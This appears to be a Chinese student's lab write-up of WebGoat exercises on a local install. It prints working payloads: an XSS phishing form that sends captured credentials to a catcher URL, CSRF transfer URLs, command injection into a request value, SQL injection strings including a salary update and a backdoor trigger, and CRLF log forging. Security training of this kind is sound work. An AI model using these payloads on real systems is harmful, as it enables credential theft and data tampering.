标签:code wrap hack advance 传递参数 comm blog url port
SQL注入攻击原理,如何防御?
XSS攻击的原理,如何防御?
CSRF攻击原理,如何防御?
首先开启webgoat,使用命令java -jar webgoat-container-7.0.1-war-exec.jar
在浏览器输入localhost:8080/WebGoat,进入webgoat,默认用户名和密码,登录
利用XSS可以在已存在的页面中进一步添加元素的特点,先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
,完整的XSS攻击代码如下:
</form><script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script><form name="phish"><br><br><HR><H2>This feature requires account login:</H2><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
首先在搜索框中输入攻击代码后点击,会看到一个要求输入用户名密码的表单
输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈
攻击成功
直接在message中输入代码<script>alert("20145310 attack succeed!");</script>,
title输入随意,提交后,点击刚刚创建的帖子,攻击成功
在反射型XSS攻击,攻击者可以制作一个URL攻击脚本发送到另一个网站,电子邮件,或让受害者点击它。
当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们
如果将带有攻击性的URL输入,继续输入上面那行代码,就会弹出对话框说明攻击成功
这个XSS攻击是费持久化的,需要诱骗用户去点击链接才能触发,总体来说上面的更危险。
目的是要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框用户一旦点击图片,就会开始攻击。
首先车看Parameters值,然后在message中输入代码
攻击成功。
这次攻击需要转账请求和确认转账成功请求。需要额外传递两个参数给服务器
在浏览器中手动输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000
进入确认转账请求页面:
点击CONFIRM
按钮后,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,成功转走了5000元
这个题目需要用到火狐的查看源代码的插件,右上角的Firebug。首先对源代码进行修改,比如在BackDoors.help
旁边加上"& netstat -an & ipconfig"
下拉菜单后就能看到修改后的值
点击view,看到命令已经被执行了。
注入SQL字符串,使其可以查看所有天气的数据。利用firebug在任意一个值后面加上 or 1=1(永真)
点击GO,就能看到所有天气
我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name
文本框中输入20145310%0d%0aLogin Succeeded for username: admin
攻击成功
基于select语句构造SQL注入字符串,在文本框中输入‘ or 1=1 --
点Go
,攻击成功,所有用户信息都被显示出来:
登录,在密码栏中输入‘ or 1=1 --
进行SQL注入,但是登录失败,原来是对出入长度进行了限制,进入源代码改之
重新登录,成功
用上一题的办法先以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile
这个地方是以员工ID作为索引传递参数的,进入源代码,把其中的value值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个。
之后就可以查看到老板的信息
先输一个101,得到了该用户的信息
可以发现输入的语句没有验证,很容易进行SQL注入,输入注入语句:101; update employee set salary=19999
,成功把该用户的工资涨到了19999
接下来使用语句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘20145310@163.com‘ WHERE userid = NEW.userid
创建一个后门,把表中所有的邮箱和用户ID都设为自己的
这个题目需要捕获包。首先打开Burpsuite
设置代理“Proxy”的“Options”选项
默认是8080端口被占用时需要添加一个新的端口8888,点击add
添加后勾选,如图所示
打开浏览器右侧选项卡,preference-advanced-settings
相当于将burpsuite当成中间服务器,每个数据包都流过它。
设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包:
右键send to repeater ,我们修改station值从为101
为 101 or 1=1
,点击GO
回到Proxy中点击Intercept is on
对剩下的包不作处理,回到火狐发现已经成功
标签:code wrap hack advance 传递参数 comm blog url port
原文地址:http://www.cnblogs.com/pigeondandelion/p/6880660.html